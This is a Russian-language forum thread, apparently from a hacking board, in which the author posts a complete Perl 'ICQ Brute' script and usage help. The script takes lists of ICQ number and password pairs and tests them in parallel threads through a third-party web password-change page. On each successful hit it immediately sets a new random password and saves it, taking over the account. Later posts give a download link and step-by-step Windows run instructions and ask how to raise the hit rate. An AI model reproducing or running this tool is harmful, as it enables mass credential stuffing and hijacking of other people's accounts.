Вот написал брут . Работает через WEB. Прокси не нужны . Пропускает гуду . Писал просто чтобы что то написать ... т.к только начал учить перл ... так что не судите ... кому надо используйте... Code: #!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Cookies; use threads; use threads::shared; use Fcntl ':flock'; ############################################################################## my $threads = 5; # Кол-во потоков # ############################################################################## my $source_file = 'source.txt'; # Список для брута # ############################################################################## my $source_delm = ';'; # Разделитель списка аккаунтов # ############################################################################## my $delay = 0; # Задержка # ############################################################################## $| = 1; system('title ICQ Brute by BluR v 0.001 ^ Happy New Year. ^2010^'); my @source : shared = lf($source_file); my $goodn : shared = 0; my $badn : shared = 0; my $err : shared = 0; my $newpass=''; my $ch1 = chr(205); my $ch2 = chr(201); my $ch3 = chr(187); my $ch6 = chr(186); my $ch7 = chr(219); my $ch8 = chr(200); my $ch9 = chr(188); print "$ch2$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch3"; print "$ch6$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7 ICQ Brute by BluR.$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch6"; print "$ch8$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch9"; cout(" \nStarting... \n"); threads->new(\&main) for 1 .. $threads; $_->join for threads->list; sub main { while(@source) { my $ua = LWP::UserAgent->new(timeout => 33, cookie_jar => new HTTP::Cookies, agent => agent()); my ($uin, $pass) = split $source_delm => shift @source; GET: my $answ = $ua->get('http://ruwap.org/service/ChangePassword/index.php')->as_string; if($answ =~ m,HTTP,i) { $answ =~ s/\s*.*action="//igxsm; $answ =~ s/"\s*.*\s*//igxsm; $newpass= join('', map(('a'..'z', 'A'..'Z', '0'..'9')[rand(63)], (1..8))); my $req = $ua->post("http://ruwap.org/service/ChangePassword/index.php$answ", ['uin' => $uin, 'password' => $pass, 'NewPassword' => $newpass, 'ReNewPassword' => $newpass,])->as_string; if( $req =~ m,$uin,igxsm) { { lock $goodn; ++$goodn } cout(" Good - $uin:$pass \n"); cout(" Password changed - $uin:$newpass \n"); wf('good.txt', "$uin;$newpass\n"); } else { { lock $badn; ++$badn } cout(" Bad - $uin:$pass \n"); wf('bad.txt', "$uin;$newpass\n"); } } else { { lock $err; ++$err } cout(" Error!!!, trying again... \n"); goto GET } sleep $delay } } sub agent { my @agents = qw[Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0]; return $agents[rand scalar @agents]; } sub cout { print $_[0]; print " Good: $goodn $ch6 Bad: $badn $ch6 Threads: $threads $ch6 Error: $err\r"; } sub lf { open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n"; chomp(my @data = <$dat>); close $dat; return @data; } sub wf { open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n"; flock $dat, LOCK_EX; print $dat $_[1]; flock $dat, LOCK_UN; close $dat; } Залил : http://slil.ru/28428393 P.s : спасибо Гаусу за его скрипты ... подглядывал когда писал ... С Наступающим Античат ...
если у кого есть предложения по доработке ... пишите ... а то сейчас %30 гудов пропускает ... и понять почему не смог ... пробовал через прокси ... тоже самое ...
1. Качаешь http://downloads.activestate.com/Ac...ActivePerl-5.10.1.1006-MSWin32-x86-291086.msi 2. Создаешь файл source.txt и запускаешь скрипт
бана как такового нет ... но гуды пропускает ... скорость зависит от канала ... может быть очень даже приличной ... Но не забывайте ... этот брут был экспериментом для практики ...
Код суешь в блокнот и сохраняешь с разрешением ".pl" ... "source.txt" должен быть в директории где находится скрипт ...
а что там сложного ??? создал файл source.txt любым генератором .... кинул в папку со скриптом ... и запустил скрипт ... если не знаешь за запустить perl скрипт ... 1. Качаешь perl по ссылке выше ... 2. Устанавливаешь . 3. Кликаешь 2 раза по файлу скрипта ... (проще не придумать) P.S : это для windows
